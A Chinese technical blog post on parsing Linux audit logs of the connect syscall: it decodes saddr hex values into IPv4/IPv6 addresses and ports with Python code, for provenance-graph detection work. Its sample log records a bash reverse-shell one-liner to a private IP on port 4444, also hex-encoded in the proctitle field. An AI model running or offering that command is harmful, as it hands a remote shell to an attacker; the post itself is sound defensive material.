connect系统调用解析
日志
--- connect /bin/bash -c bash -i >& /dev/tcp/192.168.253.132/4444 0>&1
type=SYSCALL msg=audit(1715087506.355:19840): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=5603fb05bfd0 a2=10 a3=0 items=0 ppid=10519 pid=10520 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="bash" exe="/usr/bin/bash" subj=unconfined key="my_syscall_watch"ARCH=x86_64 SYSCALL=connect AUID="unset" UID="www-data" GID="www-data" EUID="www-data" SUID="www-data" FSUID="www-data" EGID="www-data" SGID="www-data" FSGID="www-data"
type=SOCKADDR msg=audit(1715087506.355:19840): saddr=0200115CC0A8FD840000000000000000SADDR={ saddr_fam=inet laddr=192.168.253.132 lport=4444 }
type=PROCTITLE msg=audit(1715087506.355:19840): proctitle=2F62696E2F62617368002D630062617368202D69203E26202F6465762F7463702F3139322E3136382E3235332E3133322F3434343420303E2631
分析
主要是涉及到fd的创建,进程中,fd与连接地址的绑定。
创建节点,连接边, WasGeneratedBy(artifact, process)
调用函数原型
进行connect的文件描述符类型主要有3种类型:
1. 基于 IPv4 , IPv6 (TCP) socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.socket(socket.AF_INET6, socket.SOCK_STREAM) (UDP) socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 都属于网络连接(ip:port) 2. 基于Unix 本地套接字 (IPC)socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM) socket.socket(socket.AF_UNIX, socket.SOCK_SEQPACKET)
都是一个socket文件。如:'/tmp/socket_file'
connect 系统调用用于建立与远程套接字的连接。其原型通常如下:
-
sockfd是一个已创建并绑定到本地地址的套接字文件描述符。 -
addr是一个指向sockaddr结构的指针,其中包含了要连接的远程套接字的地址信息。 -
addrlen是addr结构的长度。
connect 函数返回值为:
- 若连接成功建立,则返回 0。
- 若出现错误,则返回 -1,并设置
errno来指示错误的类型。
connect 系统调用用于建立与目标地址的连接。通过 sockfd 指定要连接的套接字,addr 和 addrlen 则指定了目标地址。这个系统调用将会阻塞直到连接建立成功或者出错。
connect 系统调用返回一个整数值,表示连接的状态。如果连接成功建立,则返回 0;如果连接失败,则返回 -1,
地址解析
sockaddr 是一个通用的套接字地址结构,用于表示各种类型的套接字地址,例如 IPv4、IPv6 等。它的结构如下:
struct sockaddr { sa_family_t sa_family; // 地址族,用于指定地址的类型 char sa_data[14]; // 地址数据,实际地址信息的存储位置 };
前缀表示
PROTOCOL_NAME_UDP = "udp", PROTOCOL_NAME_TCP = "tcp"; IPV4_NETWORK_SOCKET_SADDR_PREFIX = "02"; IPV6_NETWORK_SOCKET_SADDR_PREFIX = "0A"; UNIX_SOCKET_SADDR_PREFIX = "01"; NETLINK_SOCKET_SADDR_PREFIX = "10";
-
PROTOCOL_NAME_UDP和PROTOCOL_NAME_TCP是用于表示 UDP 和 TCP 协议名称的常量。 -
IPV4_NETWORK_SOCKET_SADDR_PREFIX是用于表示 IPv4 网络套接字地址的前缀值,为"02"。 -
IPV6_NETWORK_SOCKET_SADDR_PREFIX是用于表示 IPv6 网络套接字地址的前缀值,为"0A"。 -
UNIX_SOCKET_SADDR_PREFIX是用于表示 UNIX 套接字地址的前缀值,为"01"。 -
NETLINK_SOCKET_SADDR_PREFIX是用于表示 Netlink 套接字地址的前缀值,为"10"。
这些前缀值用于在处理套接字地址时识别地址类型,例如,根据前缀值的不同来判断套接字地址是 IPv4 地址、IPv6 地址、UNIX 地址还是 Netlink 地址。
为了解析 sockaddr 结构中的具体地址信息,通常会根据套接字地址的类型进行强制类型转换。例如,对于 IPv4 地址,可以将 sockaddr 结构转换为 sockaddr_in 结构。IPv4 的 sockaddr_in 结构如下:
struct sockaddr_in { sa_family_t sin_family; // 地址族,通常为 AF_INET in_port_t sin_port; // 16位端口号,网络字节序 struct in_addr sin_addr; // 32位IPv4地址,网络字节序 char sin_zero[8]; // 填充字节,保证与 sockaddr 结构大小一致 };
解析参数代码
def parse_saddr(saddr): address = None port = None if is_ipv4_saddr(saddr) and len(saddr) >= 17: # 解析端口号 port = str(int(saddr[4:8], 16)) # 解析IPv4地址 oct1 = int(saddr[8:10], 16) oct2 = int(saddr[10:12], 16) oct3 = int(saddr[12:14], 16) oct4 = int(saddr[14:16], 16) address = "{}.{}.{}.{}".format(oct1, oct2, oct3, oct4) return address, port def is_ipv4_saddr(saddr): return saddr.startswith("02") # 示例saddr saddr = "02000050B97DBE600000000000000000" address, port = parse_saddr(saddr) print("IPv4 Address:", address) print("Port:", port)
输出为
IPv4 Address: 185.125.190.96
Port: 80
IPv6地址解析 def parse_saddr_ipv6(cls,saddr): address = None port = None if len(saddr) >= 49: port = str(int(saddr[4:8], 16)) hextet1 = saddr[16:20] hextet2 = saddr[20:24] hextet3 = saddr[24:28] hextet4 = saddr[28:32] hextet5 = saddr[32:36] hextet6 = saddr[36:40] hextet7 = saddr[40:44] hextet8 = saddr[44:48] address = "{}:{}:{}:{}:{}:{}:{}:{}".format(hextet1, hextet2, hextet3, hextet4, hextet5, hextet6, hextet7, hextet8) if address==None or port==None: return None,None return address, port

浙公网安备 33010602011771号